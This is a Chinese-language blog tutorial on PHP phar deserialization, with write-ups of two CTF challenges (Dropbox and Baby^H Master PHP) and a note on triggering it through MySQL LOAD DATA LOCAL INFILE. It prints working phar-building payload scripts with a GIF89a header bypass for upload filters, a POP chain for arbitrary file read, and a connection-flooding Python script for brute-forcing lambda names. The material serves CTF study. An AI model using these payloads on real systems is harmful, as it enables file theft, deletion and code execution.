123230p9tul1xl91jj92c0
成年人的世界里除了孤独就是压力,小时候真傻怎么老是幻想着长大🙄🙄

0x00引言

PHP反序列化常见的是使用unserilize()进行反序列化,除此之外还有其它的反序列化方法,不需要用到unserilize()。就是用到了本文的主要内容——phar反序列化。很多大佬都进行过总结,但是看了这个知识点的比较全的内容。我看了不下二十篇文章,最后写此文为方便自己以后查看。

0x01Phar相关基础

Phar是将php文件打包而成的一种压缩文档,类似于Java中的jar包。它有一个特性就是phar文件会以序列化的形式储存用户自定义的meta-data。以扩展反序列化漏洞的攻击面,配合phar://协议使用。

Phar文件结构

  1. a stub是一个文件标志,格式为 :xxx<?php xxx;__HALT_COMPILER();?>
  2. manifest是被压缩的文件的属性等放在这里,这部分是以序列化存储的,是主要的攻击点。
  3. contents是被压缩的内容。
  4. signature 签名,放在文件末尾。

就是这个文件由四部分组成,每种文件都是有它独特的一种文件格式的,有首有尾。而__HALT_COMPILER();就是相当于图片中的文件头的功能,没有它,图片无法解析,同样的,没有文件头,php识别不出来它是phar文件,也就无法起作用。

生成phar文件

这里测试一下~
前提:生成phar文件需要修改php.ini中的配置,将phar.readonly设置为Off

<?php 
class test{
	public $name='phpinfo();';
}
$phar=new phar('test.phar');//后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER();?>");//设置stub
$obj=new test();
$phar->setMetadata($obj);//自定义的meta-data存入manifest
$phar->addFromString("flag.txt","flag");//添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

生成的phar文件,打开该文件可以看到文件头是<?php __halt_compiler(); ?>以及中间的部分内容是序列化的形式存在于这个文件中。

该方法在文件系统函数(file_exists()is_dir()等)参数可控的情况下,配合phar://伪协议,可以不依赖unserialize()直接进行反序列化操作。
https://paper.seebug.org/680/得知:有序列化数据必然会有反序列化操作,php一大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化,测试后受影响的函数如下:(仿照大佬的图)

这里使用file_get_contents()函数来进行实验。

<?php
class test{
    public $name='';
    public function __destruct()
    {
        eval($this->name);
    }
}

echo file_get_contents('phar://test.phar/flag.txt');
?>


__HALT_COMPILER();必须大写,小写不会被识别出来。导致无法进行反序列化操作。
因为考虑到在上传的时候,可能只会允许上传图片(jpg/png/gif),上传时将test.phar修改文件扩展名为jpg也可以进行反序列化,不会影响解析。
如果对文件头有识别的,也可以使用GIF文件头GIF89a来绕过检测,具体操作与文件上传部分细节类似,不再赘述。

0x02 CTF题目实战

Dropbox

登录注册功能,注册了一个账号,然后进行登录。发现只有一个上传功能,所以就随意上传一个文件,但是发现只能上传图片。

所以这里上传一个普通图片来测试。
上传成功后存在下载和删除功能,下载发现进行了跳转,并且浏览器不回显,这里抓包查看


可能存在文件读取,这里尝试一下

但是无法读取flag.php所以还需要尝试其他办法,这里读取网站源码,进行查看。

#download.php
<?php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}

if (!isset($_POST['filename'])) {
    die();
}

include "class.php";
ini_set("open_basedir", getcwd() . ":/etc:/tmp");

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {
    Header("Content-type: application/octet-stream");
    Header("Content-Disposition: attachment; filename=" . basename($filename));
    echo $file->close();
} else {
    echo "File not exist";
}
?>
#delete.php
<?php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}

if (!isset($_POST['filename'])) {
    die();
}

include "class.php";

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename)) {
    $file->detele();
    Header("Content-type: application/json");
    $response = array("success" => true, "error" => "");
    echo json_encode($response);
} else {
    Header("Content-type: application/json");
    $response = array("success" => false, "error" => "File not exist");
    echo json_encode($response);
}
?>
#class.php
#代码过长,选取重要部分
<?php
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);
class User {
    public $db;
    public function __construct() {
        global $db;
        $this->db = $db;
    }
    public function __destruct() {
        $this->db->close();
    }
}

class FileList {
    private $files;
    private $results;
    private $funcs;
    public function __construct($path) {
        $this->files = array();
        $this->results = array();
        $this->funcs = array();
        $filenames = scandir($path);
        $key = array_search(".", $filenames);
        unset($filenames[$key]);
        $key = array_search("..", $filenames);
        unset($filenames[$key]);
        foreach ($filenames as $filename) {
            $file = new File();
            $file->open($path . $filename);
            array_push($this->files, $file);
            $this->results[$file->name()] = array();
        }
    }
    public function __call($func, $args) {
        array_push($this->funcs, $func);
        foreach ($this->files as $file) {
            $this->results[$file->name()][$func] = $file->$func();
        }
    }
}

class File {
    public $filename;
    public function detele() {
        unlink($this->filename);
    }

    public function close() {
        return file_get_contents($this->filename);
    }
}
?>

这里需要提一下利用条件

  1. phar文件能够上传至服务器

  2. 要有可利用的魔术方法

  3. 文件操作函数的参数可控,且:、/phar等特殊字符没有被过滤

文件上传功能允许上传文件,修改phar文件后缀即可。魔术方法则在delete文件中有unlink()以及file_get_contents()__call()等,文件操作函数的参数,filename可控,且无过滤。
现在捋一下整个逻辑,这里是可以进行任意文件读取,且delete也可以进行任意文件删除(PS:测试将index.php删了,无奈只能重启靶机),
代码逻辑,在class.php中的User类中,有一个close方法,__destruct执行触发该close方法,将该close方法改为FileList的一个对象,且file类中也有一个close方法,它负责是的读取文件file_get_contents()函数。
构造pop链的逻辑,读取文件的话,可以使User类中的__construct()实例化一个FileList对象。然后向下执行,FileList中没有close函数,所以就能触发__call()函数,然后再执行close方法(注意此时是File中的close方法)只需控制filename的值即可成功执行file_get_contents()函数进行读取文件。

<?php
class User{
    public $db;
    public function __construct(){
        $this->db = new FileList();
    }
}
class FileList{
    private $files;
    private $results;
    private $funcs;
    public function __construct(){
        $this->files = array(new File());
        $this->results = array();
        $this->funcs = array();
    }
}
class File{
    public $filename = '/flag.txt';
}
$user = new User();
@unlink("m0re.phar");
$phar=new phar('m0re.phar');//后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");//设置stub
$phar->setMetadata($user);//自定义的meta-data存入manifest
$phar->addFromString("f1ag.txt","f1ag");//添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

上传并删除抓包,

Baby^h Master PHP

这个题目可是很经典的了。
直接给出源码,会看到当前目录,在沙盒当中,全局查看代码,两个类Admin&User,且Admin类继承了User类,三个函数,分别为三种功能,uploadshow还有check_session
然后看用户可以控制的输入部分

$mode = $_GET["m"];
if ($mode == "upload") {
    upload(check_session());
} else if ($mode == "show") {
    show(check_session());
} else {
    echo "IP:".$_SERVER["REMOTE_ADDR"];
    echo "Sandbox:"."/var/www/data/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
    highlight_file(__FILE__);
}

输入可以有两种模式,一种是upload,一种是show。
关于upload函数

function upload($path) {
    $data = file_get_contents($_GET["url"] . "/avatar.gif");
    if (substr($data, 0, 6) !== "GIF89a") {
        die("Fuck off");
    }

    file_put_contents($path . "/avatar.gif", $data);
    die("Upload OK");
}

接受输入的一个URL,并访问,url/avatar.gif然后保存到本地。并且检验该文件是否为GIF,通过的手法是对比判断文件头,看数据中的前六个字母是否符合GIF标志(这个很容易绕过)。
而show函数,则是读取上传的文件的功能。
还有一个知识点就是匿名函数,关于PHP的匿名函数,介绍是:临时创建一个没有指定名称的函数
比如

<?php
$greet = function($name)
{
    printf("Hello %s\r\n", $name);
};

$greet('World');
$greet('PHP');
?>
#Hello World
#Hello PHP

题目中的Admin类中就是存在一个这样的匿名函数

class Admin extends User {
    function __destruct() {
        $random = bin2hex(openssl_random_pseudo_bytes(32));
        eval("function my_function_$random() {"
            . "  global \$FLAG; \$FLAG();"
            . "}");
        $_GET["lucky"]();
    }
}

关于bin2hex(openssl_random_pseudo_bytes(32))
一个函数

openssl_random_pseudo_bytes( int $length [, bool &$crypto_strong ] )

openssl_random_pseudo_bytes - 生成一个伪随机字节串,字节数由 length 参数指定。 通过 crypto_strong 参数可以表示在生成随机字节的过程中是否使用了强加密算法。返回值为FALSE的情况很少见,但已损坏或老化的有些系统上会出现。

bin2hex将生成的随即字节串转换成十六进制。
然后分析整个逻辑:由内向外看,uploadshow都使用了check_session函数,这个函数,取出cookie中的session-data

O%3A4%3A%22User%22%3A1%3A%7Bs%3A6%3A%22avatar%22%3Bs%3A46%3A%22%2Fvar%2Fwww%2Fdata%2F3054b012b7bb1e3093bb723f95a6a055%22%3B%7D-----6234845ec46a27cb6535a24307809d88f700d915

其中dataUser类序列化的内容,hmac是经过hash_hmac("sha1", $data, $SECRET)处理后的,拼接在一起就是session-data然后后面三个if语句则是匹配cookie中的这些数据是否相同,相同就进行反序列化,并且返回它的属性avatar
然后就是upload模式,验证url是否存在,如果存在则上传avatar.gif并覆盖。最后执行Admin类中的随机函数,这个随机函数的名字,这里看大佬的解释是查看create_function函数对应的内核源,暂时理解不来。只知道匿名函数并非是没有名字的,而是%00lambda_%d其中%d为数字,为当前进程的第n个匿名函数。
然后还有apache2的工作模式,默认是prefork
prefork是一个非线程型的、预派生的MPM,使用多个进程,每个进程在某个确定的时间只单独处理一个连接,效率高,但内存使用比较大。

然后就是解题了:
先生成Admin类的phar文件

<?php
class Admin{
    public $avatar='flag';
}
$a = new Admin();

$phar = new Phar('test.phar',0,'test.phar');
$phar->startBuffering();
$phar->setStub('GIF89a<?php __HALT_COMPILER(); ?>');


$phar->setMetadata($a);
$phar->addFromString('text.txt','test');
$phar->stopBuffering();

重命名为avatar.gif后上传服务器,进行upload操作。

最后进行最后一步爆破匿名函数

#fork.py
# coding: UTF-8
# Author: orange@chroot.org
# 

import requests
import socket
import time
from multiprocessing.dummy import Pool as ThreadPool
try:
    requests.packages.urllib3.disable_warnings()
except:
    pass

def run(i):
    while 1:
        HOST = '题目地址'
        PORT = 80
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((HOST, PORT))
        s.sendall('GET / HTTP/1.1\nHost: your_vps_ip\nConnection: Keep-Alive\n\n')
        # s.close()
        print 'ok'
        time.sleep(0.5)

i = 8
pool = ThreadPool( i )
result = pool.map_async( run, range(i) ).get(0xffff)

0x03 扩展内容

mysql 反序列化函数_利用phar协议造成php反序列化

php调用mysql的语句LOAD DATA LOCAL INFILE导入phar文件也能触发phar中的反序列化语句
LOAD DATA LOCAL INFILE这条语句是批量向表中插入文件中的内容

LOAD DATA LOCAL INFILE 'd:\\phpStudy\\WWW\\m0re\\user.txt' INTO TABLE users;

前提:在my.ini中添加

local-infile=1
secure_file_priv=""


成功插入

利用方式

<?php
class A {
    public $s = '';
    public function __wakeup () {
        system($this->s);
    }
}
$m = mysqli_init();
mysqli_options($m, MYSQLI_OPT_LOCAL_INFILE, true);
$s = mysqli_real_connect($m, 'localhost', 'root', 'root', 'test', 3306);
$p = mysqli_query($m, 'LOAD DATA LOCAL INFILE \'phar://test.phar/flag.txt\' INTO TABLE users  LINES TERMINATED BY \'\r\n\'  IGNORE 1 LINES;');

0x04 Reference

https://paper.seebug.org/680/
https://cbatl.gitee.io/2020/08/11/phar/
反序列化攻击面拓展提高篇
apache的三种工作模式